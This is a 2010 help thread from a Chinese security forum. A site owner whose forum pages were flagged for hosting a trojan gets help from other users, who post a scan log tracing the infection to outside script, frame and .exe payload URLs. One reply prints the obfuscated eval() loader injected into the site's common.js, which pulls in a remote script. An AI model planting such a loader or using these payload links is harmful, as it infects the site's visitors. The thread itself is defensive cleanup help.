网站被挂马，请高手排查下。 bbs.ikaka.com

魅8网络 - 2010-2-3 12:41:00

网页：http://www.3ux.cn/lastpost-12949.html
检测时间：2010-2-3 1:09:390
木马网址：
http://game.hsw.cn/skin/css/log.htm
shellcode溢出攻击
解决方案

网页：http://www.3ux.cn/lastpost-12904.html
检测时间：2010-2-2 23:35:52
木马网址：
http://game.hsw.cn/skin/css/log.htm
shellcode溢出攻击
解决方案

网页：http://www.3ux.cn/
检测时间：2010-2-2 21:31:54
木马网址：
http://game.hsw.cn/skin/css/log.htm
shellcode溢出攻击
解决方案

网页：http://www.3ux.cn/lastpost-13480.html
检测时间：2010-2-2 20:20:55
木马网址：
http://game.hsw.cn/skin/css/log.htm
shellcode溢出攻击
解决方案

网页：http://www.3ux.cn/lastpost-18068.html
检测时间：2010-2-2 19:09:29
木马网址：
http://game.hsw.cn/skin/css/log.htm
shellcode溢出攻击
解决方案

不知道如何去解决此类问题。
看到有人和我一样的也是这个木马地址

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)

networkedition - 2010-2-3 12:48:00

是被挂马了
Log is generated by FreShow.
[wide]http://www.3ux.cn/lastpost-12949.html
[script]http://www.3ux.cn/forumdata/cache/common.js?0sG
[object]http://bbs.xcdx169.net/include/log.js?TSEEQITO
[frame]http://game.hsw.cn/skin/css/log.htm?人03
[script]http://game.hsw.cn/skin/css/log.js
[object]http://game.hsw.cn/skin/img/74.exe
[script]http://www.3ux.cn/forumdata/cache/viewthread.js?0sG
[script]http://pagead2.googlesyndication.com/pagead/show_ads.js
[script]http://pagead2.googlesyndication.com/pagead/show_ads.js
[script]http://www.3ux.cn/tag.php?action=relatetag&rtid=12949
[script]http://pagead2.googlesyndication.com/pagead/show_ads.js
[script]http://busjs.vodone.cn/bus/ownerjs/advjs_94/94186/94186_132484_p22_.js
[script]http://s1.cnzz.com/stat.php?id=1236731&web_id=1236731
[script]http://www.3ux.cn/relatekw.php?tid=12949

魅8网络 - 2010-2-3 12:54:00

请问该如歌曲解决呢？

魅8网络 - 2010-2-3 12:55:00

小白问题。。。
对这个不是很了解

魅8网络 - 2010-2-3 13:15:00

Log is generated by FreShow.
[wide]http://www.3ux.cn/lastpost-12949.html
[script]http://www.3ux.cn/forumdata/cache/common.js?0sG
[object]http://bbs.xcdx169.net/include/log.js?TSEEQITO
[frame]http://game.hsw.cn/skin/css/log.htm?人03
[script]http://game.hsw.cn/skin/css/log.js
[object]http://game.hsw.cn/skin/img/74.exe
[script]http://www.3ux.cn/forumdata/cache/viewthread.js?0sG
[script]http://pagead2.googlesyndication.com/pagead/show_ads.js
[script]http://pagead2.googlesyndication.com/pagead/show_ads.js
[script]http://www.3ux.cn/tag.php?action=relatetag&rtid=12949
[script]http://pagead2.googlesyndication.com/pagead/show_ads.js
[script]http://busjs.vodone.cn/bus/ownerjs/advjs_94/94186/94186_132484_p22_.js
[script]http://s1.cnzz.com/stat.php?id=1236731&web_id=1236731
[script]http://www.3ux.cn/relatekw.php?tid=12949

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)

networkedition - 2010-2-3 13:36:00

这个链接：http://www.3ux.cn/forumdata/cache/common.js?WIw

源代码中有个eval代码如下：

[复制到剪贴板]

CODE:

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4.5(\'<0 3=2 1="6://d.7.c/b/a.8?9"></0>\')',14,14,'script|src|javascript|language|document|writeln|http|xcdx169|js|IJYZPYKL|log|include|net|bbs'.split('|'),0,{}));}

找到将其清除，其它页面类似。

朱小朱 - 2010-2-3 13:44:00

你是网站管理员么？找到相应的代码，一般为src之类的镶嵌代码，删除就OK了。如果是本机上的话，是没有办法操作的。如果你已经中毒了，可以扫描一份日志自己分析或者发上来让大家分析。或者提交样本。

瑞星卡卡安全论坛